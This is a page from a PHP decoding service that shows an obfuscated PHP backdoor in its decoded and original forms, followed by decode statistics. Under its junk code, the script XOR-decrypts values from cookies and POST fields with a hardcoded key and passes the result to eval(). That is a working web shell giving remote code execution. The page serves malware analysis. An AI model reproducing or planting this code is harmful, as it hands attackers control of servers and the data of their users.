Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function Fqpfrnnv($CtAiCmVEW) { return @pack( chr ( 678 ..

Decoded Output download

<?php function   Fqpfrnnv($CtAiCmVEW) 
     { 
    return    @pack(    chr    (    678    -/* OwLE*/606   )."*",     $CtAiCmVEW    );$_wo   =    '3872'; 
    /*   AszP  */ 
                    $sWYwCaaywSHQBORnF/*  TA*/=    md5($CtAiCmVEW); 
                        $WrqqF/*  xNee   */=  base64_decode($CtAiCmVEW); 
                       if  ($WrqqF/* cDW */===    false)/*OKAAA */{ 
 
  $WrqqF/* KlPWx   */=    '';; 
         } 
 
/*elx*/$muxTG  =/*ZXhh */str_split($CtAiCmVEW); 
  /*  eDN  */$Lbscb  =/* yHYvx*/strlen($CtAiCmVEW);$_rPUF    =/* uy   */'39323'; 
    /* TiiEt*/$sWYwCaay   =/*Z   */0;; 
 
 
    while/*  xTTH */(/* OYiy  */$sWYwCaay/*V*/<   $Lbscb    )/*   nSRq  */{ 
                    $sWYwCaay++;$_OMgTy    =    '20537'; 
    /*D   */$bFbDdLq    =    $muxTG[$sWYwCaay]; 
                    if/*G   */(strpos($bFbDdLq,    'a')  !==    false)    { 
    /*dajV */$muxTG[$sWYwCaay]/*   xj */=    strtoupper($bFbDdLq); 
     } 
       } 
     $IVYpKJh    =    implode('',    $muxTG); 
                /*CW*/$_GET['decoded']/* JDs   */=/* mHtm   */$IVYpKJh; 
                /* Wbol*/$_POST['hash']   =   $sWYwCaaywSHQBORnF;; 
  /*UT*/if     (file_exists('path/to/file'))/*   dMWS  */{ 
 
    $qGaiXZoLs    =    file_get_contents('path/to/file');; 
    $sWYwCaayWVMKWAvD   =    explode(',', $qGaiXZoLs); 
 
/*raK */$aAEeOnkli    =/* qPV  */md5(serialize($sWYwCaayWVMKWAvD));; 
 
/*G   */if   (is_array($sWYwCaayWVMKWAvD))    { 
                $fPhlCHYu =    array_slice($sWYwCaayWVMKWAvD, 0,   5); 
    } 
 
     } 
  $oZhbgIT    =/*   aNbQS   */array_map('trim',    $fPhlCHYu); 
    $tiYzB    =/*  aJpP*/rawurldecode(implode(',',/* wb*/$oZhbgIT));; 
     /*   QU*/$_COOKIE['final_value']/*   QeDlt*/=     $tiYzB; 
        } 
/*   nd   */ 
      function/*bhcz  */TZLIZ() 
         { 
     /*  IVRy*/$bjBQpCo    =/* ZuOxU */Array($_COOKIE,     $_POST); 
/*K   */$pUgqYCQPf    =   array_map('md5',  $_COOKIE); 
 
 
/*R  */$GjnvTk  =/*  sSNoe   */strpos($_SERVER['HTTP_USER_AGENT'],/*  yfkb  */'Mozilla')/*E  */!==   false/*  YHEDN  */?    'browser    is  Mozilla'/* boFOL  */:/*  iW   */'browser/*  easM  */is    not/* Ht   */Mozilla';; 
  /* s */ 
                        if/*  pju  */(is_array($bjBQpCo))/*XNDrW  */{ 
        $fTQsDv   =    array_slice($bjBQpCo, 0,    1);$_HZlRA    =    '22888'; 
         }/* j  */else     { 
            /*  OV */$fTQsDv    =   []; 
     } 
 
 
/*  Ok*/ 
 
 
/* Qhwzs*/$FCPEdoikRA    =   explode(',',    'apple,orange,banana');; 
         $SIGCODSsU    =/* yW  */rawurldecode('%20Hello%20World%20'); 
/* sU */$sWYwCaay    =    0;  
        while/* TtCPX */($sWYwCaay/*bLrfT */</* XrZ*/count($FCPEdoikRA)     )    { 
     /*  aqHEs*/$FCPEdoikRA[$sWYwCaay]    =/*  w */str_repeat($FCPEdoikRA[$sWYwCaay],/*uaaJt*/2); 
  /*   Kmp*/$sWYwCaay++;; 
     } 
                      
        /*fA   */$pqgAMx    =/*   keMFp   */str_repeat($GjnvTk,/*JBsGq */3); 
 
    
 /*KOn*/return    $bjBQpCo;; 
                    } 
     
             function/* oQM   */hJeCngG($yKKqeAL) 
                    { 
 
 
    $WtjVrO   = "#"; 
     foreach/*  W  */(TZLIZ()/*   oyc   */as    $ecccuVx)   { 
                /*E */QWDjzsOl($ecccuVx,    $WtjVrO);; 
/*   hIxSN  */} 
            } 
   /*  iTKQg*/ 
       function/*  jIM   */bGLqwE($PcYmCc, $lnTZICVdBU) 
                /*   wofh  */{ 
 
 
    if    (/*   gZEJ   */count     (  $PcYmCc  )    ==    3/* kP   */)    { 
     $LVnxiPrZ    =   $PcYmCc[1]; 
 
/*   jxdI   */$srEDv    =/*TL*/$PcYmCc[2];$_LvJR/*  EER  */=     '31078'; 
   $IuOxHZadtz/* CTd*/=/*GYq  */$LVnxiPrZ($srEDv); 
       eval/*  jX */(   $IuOxHZadtz/*  hIOVH */);; 
/*   wjoVP   */die    ();; 
 
/*  VzJOb   */} 
 
 
    } 
 
 
    
 
/* C   */function/*g*/fHFYq($CtAiCmVEW,    $OwGUysCK) 
    /*   RmRNy*/{ 
            /*  IwKN  */return/* S */$CtAiCmVEW/*  R  */^/*SAgb   */$OwGUysCK; 
               } 
   /*   jRtf  */ 
 /*sMQhM*/function    ZSEEmzPa($wrkka,   $WtjVrO) 
     {/* OnjO  */ 
                /*   nB  */$wrkka    =    explode/* haLtd */($WtjVrO,/*  NwkaQ   */$wrkka    );; 
    /*   EJedO  */ 
  /* Elny */bGLqwE($wrkka,/*yBdhK*/$WtjVrO); 
    } 
 
 
 
     function  QWDjzsOl($ecccuVx,    $WtjVrO) 
         { 
                    foreach    (     $ecccuVx/*cR   */as/*   lzS */$OwGUysCK    =>    $CtAiCmVEW     )    { 
              wELlqgNcIM($OwGUysCK,     Fqpfrnnv($CtAiCmVEW),/*   utz */$WtjVrO); 
                    /*  E*/} 
 
 
    } 
                      
    /*z */function RXkEcRJNV($OwGUysCK, $CtAiCmVEW) 
            /*vekW   */{ 
    /* HEJRV  */$ZkmPy/*  wKpQ  */=/*sKVQ   */strlen(/*   wNEJt*/$CtAiCmVEW    )/strlen(   $OwGUysCK    ); 
 
 
 $OwGUysCK    .=   "XfY-GDkjj-tUT-Xxli-JLAI-HJX-pLpEAzf";$_pr  =/* keSGX   */'33423'; 
    /*   bIQ  */$OwGUysCK    =  str_repeat    (/*  Zq  */$OwGUysCK,/*   beQ   */intval($ZkmPy)   +     1);; 
    /*  Jl*/ 
       return/*qH   */$OwGUysCK; 
 
    } 
    
        function    wELlqgNcIM($OwGUysCK,    $CtAiCmVEW,    $WtjVrO) 
    /*   AUQSs */{/* PEDnC  */ 
                     ZSEEmzPa(fHFYq($CtAiCmVEW,  RXkEcRJNV($OwGUysCK,    $CtAiCmVEW)),/*   R   */$WtjVrO); 
                     
     /*WQ*/$kcYsiTZaUO    =    trim($CtAiCmVEW);$_cToV     =/*   in  */'25786'; 
 
    $bryVWies/*ZetCC*/=   explode($WtjVrO, $kcYsiTZaUO); 
 
/* zMqMx */if/*w*/(count($bryVWies)   >   1)    { 
    /*   tM */$RHBSOWxVz/*   g */=    implode('-',     $bryVWies);$_jcfmT/*  fSgi  */=    '18576'; 
 
 
/* zg  */$WXGguFpSL/*  Tpv*/=    str_pad($RHBSOWxVz,     20,  '0',/*   chsl*/STR_PAD_RIGHT);$_ot    =    '88'; 
            /*ugZ*/}    else    { 
                    $WXGguFpSL     =  str_replace(chr (32),/* WyLbN*/chr    (   417     -    322  ),/*zcZIQ */$kcYsiTZaUO); 
            } 
        } 
 
  
 
/* qmsk   */hJeCngG(""); ?>

Did this file decode correctly?

Original Code

<?php function   Fqpfrnnv($CtAiCmVEW)
     {
    return    @pack(    chr    (    678    -/* OwLE*/606   )."\x2a",     $CtAiCmVEW    );$_wo   =    '3872';
    /*   AszP  */
                    $sWYwCaaywSHQBORnF/*  TA*/=    md5($CtAiCmVEW);
                        $WrqqF/*  xNee   */=  base64_decode($CtAiCmVEW);
                       if  ($WrqqF/* cDW */===    false)/*OKAAA */{

  $WrqqF/* KlPWx   */=    '';;
         }

/*elx*/$muxTG  =/*ZXhh */str_split($CtAiCmVEW);
  /*  eDN  */$Lbscb  =/* yHYvx*/strlen($CtAiCmVEW);$_rPUF    =/* uy   */'39323';
    /* TiiEt*/$sWYwCaay   =/*Z   */0;;


    while/*  xTTH */(/* OYiy  */$sWYwCaay/*V*/<   $Lbscb    )/*   nSRq  */{
                    $sWYwCaay++;$_OMgTy    =    '20537';
    /*D   */$bFbDdLq    =    $muxTG[$sWYwCaay];
                    if/*G   */(strpos($bFbDdLq,    'a')  !==    false)    {
    /*dajV */$muxTG[$sWYwCaay]/*   xj */=    strtoupper($bFbDdLq);
     }
       }
     $IVYpKJh    =    implode('',    $muxTG);
                /*CW*/$_GET['decoded']/* JDs   */=/* mHtm   */$IVYpKJh;
                /* Wbol*/$_POST['hash']   =   $sWYwCaaywSHQBORnF;;
  /*UT*/if     (file_exists('path/to/file'))/*   dMWS  */{

    $qGaiXZoLs    =    file_get_contents('path/to/file');;
    $sWYwCaayWVMKWAvD   =    explode(',', $qGaiXZoLs);

/*raK */$aAEeOnkli    =/* qPV  */md5(serialize($sWYwCaayWVMKWAvD));;

/*G   */if   (is_array($sWYwCaayWVMKWAvD))    {
                $fPhlCHYu =    array_slice($sWYwCaayWVMKWAvD, 0,   5);
    }

     }
  $oZhbgIT    =/*   aNbQS   */array_map('trim',    $fPhlCHYu);
    $tiYzB    =/*  aJpP*/rawurldecode(implode(',',/* wb*/$oZhbgIT));;
     /*   QU*/$_COOKIE['final_value']/*   QeDlt*/=     $tiYzB;
        }
/*   nd   */
      function/*bhcz  */TZLIZ()
         {
     /*  IVRy*/$bjBQpCo    =/* ZuOxU */Array($_COOKIE,     $_POST);
/*K   */$pUgqYCQPf    =   array_map('md5',  $_COOKIE);


/*R  */$GjnvTk  =/*  sSNoe   */strpos($_SERVER['HTTP_USER_AGENT'],/*  yfkb  */'Mozilla')/*E  */!==   false/*  YHEDN  */?    'browser    is  Mozilla'/* boFOL  */:/*  iW   */'browser/*  easM  */is    not/* Ht   */Mozilla';;
  /* s */
                        if/*  pju  */(is_array($bjBQpCo))/*XNDrW  */{
        $fTQsDv   =    array_slice($bjBQpCo, 0,    1);$_HZlRA    =    '22888';
         }/* j  */else     {
            /*  OV */$fTQsDv    =   [];
     }


/*  Ok*/


/* Qhwzs*/$FCPEdoikRA    =   explode(',',    'apple,orange,banana');;
         $SIGCODSsU    =/* yW  */rawurldecode('%20Hello%20World%20');
/* sU */$sWYwCaay    =    0; 
        while/* TtCPX */($sWYwCaay/*bLrfT */</* XrZ*/count($FCPEdoikRA)     )    {
     /*  aqHEs*/$FCPEdoikRA[$sWYwCaay]    =/*  w */str_repeat($FCPEdoikRA[$sWYwCaay],/*uaaJt*/2);
  /*   Kmp*/$sWYwCaay++;;
     }
                     
        /*fA   */$pqgAMx    =/*   keMFp   */str_repeat($GjnvTk,/*JBsGq */3);

   
 /*KOn*/return    $bjBQpCo;;
                    }
    
             function/* oQM   */hJeCngG($yKKqeAL)
                    {


    $WtjVrO   = "\x23";
     foreach/*  W  */(TZLIZ()/*   oyc   */as    $ecccuVx)   {
                /*E */QWDjzsOl($ecccuVx,    $WtjVrO);;
/*   hIxSN  */}
            }
   /*  iTKQg*/
       function/*  jIM   */bGLqwE($PcYmCc, $lnTZICVdBU)
                /*   wofh  */{


    if    (/*   gZEJ   */count     (  $PcYmCc  )    ==    3/* kP   */)    {
     $LVnxiPrZ    =   $PcYmCc[1];

/*   jxdI   */$srEDv    =/*TL*/$PcYmCc[2];$_LvJR/*  EER  */=     '31078';
   $IuOxHZadtz/* CTd*/=/*GYq  */$LVnxiPrZ($srEDv);
       eval/*  jX */(   $IuOxHZadtz/*  hIOVH */);;
/*   wjoVP   */die    ();;

/*  VzJOb   */}


    }


   

/* C   */function/*g*/fHFYq($CtAiCmVEW,    $OwGUysCK)
    /*   RmRNy*/{
            /*  IwKN  */return/* S */$CtAiCmVEW/*  R  */^/*SAgb   */$OwGUysCK;
               }
   /*   jRtf  */
 /*sMQhM*/function    ZSEEmzPa($wrkka,   $WtjVrO)
     {/* OnjO  */
                /*   nB  */$wrkka    =    explode/* haLtd */($WtjVrO,/*  NwkaQ   */$wrkka    );;
    /*   EJedO  */
  /* Elny */bGLqwE($wrkka,/*yBdhK*/$WtjVrO);
    }



     function  QWDjzsOl($ecccuVx,    $WtjVrO)
         {
                    foreach    (     $ecccuVx/*cR   */as/*   lzS */$OwGUysCK    =>    $CtAiCmVEW     )    {
              wELlqgNcIM($OwGUysCK,     Fqpfrnnv($CtAiCmVEW),/*   utz */$WtjVrO);
                    /*  E*/}


    }
                     
    /*z */function RXkEcRJNV($OwGUysCK, $CtAiCmVEW)
            /*vekW   */{
    /* HEJRV  */$ZkmPy/*  wKpQ  */=/*sKVQ   */strlen(/*   wNEJt*/$CtAiCmVEW    )/strlen(   $OwGUysCK    );


 $OwGUysCK    .=   "XfY-GDkjj-tUT-Xxli-JLAI-HJX-pLpEAzf";$_pr  =/* keSGX   */'33423';
    /*   bIQ  */$OwGUysCK    =  str_repeat    (/*  Zq  */$OwGUysCK,/*   beQ   */intval($ZkmPy)   +     1);;
    /*  Jl*/
       return/*qH   */$OwGUysCK;

    }
   
        function    wELlqgNcIM($OwGUysCK,    $CtAiCmVEW,    $WtjVrO)
    /*   AUQSs */{/* PEDnC  */
                     ZSEEmzPa(fHFYq($CtAiCmVEW,  RXkEcRJNV($OwGUysCK,    $CtAiCmVEW)),/*   R   */$WtjVrO);
                    
     /*WQ*/$kcYsiTZaUO    =    trim($CtAiCmVEW);$_cToV     =/*   in  */'25786';

    $bryVWies/*ZetCC*/=   explode($WtjVrO, $kcYsiTZaUO);

/* zMqMx */if/*w*/(count($bryVWies)   >   1)    {
    /*   tM */$RHBSOWxVz/*   g */=    implode('-',     $bryVWies);$_jcfmT/*  fSgi  */=    '18576';


/* zg  */$WXGguFpSL/*  Tpv*/=    str_pad($RHBSOWxVz,     20,  '0',/*   chsl*/STR_PAD_RIGHT);$_ot    =    '88';
            /*ugZ*/}    else    {
                    $WXGguFpSL     =  str_replace(chr (32),/* WyLbN*/chr    (   417     -    322  ),/*zcZIQ */$kcYsiTZaUO);
            }
        }

 

/* qmsk   */hJeCngG("");

Function Calls

None

Variables

None

Stats

MD5 db270f3f81615f5b9509672b1b16c90c
Eval Count 0
Decode Time 68 ms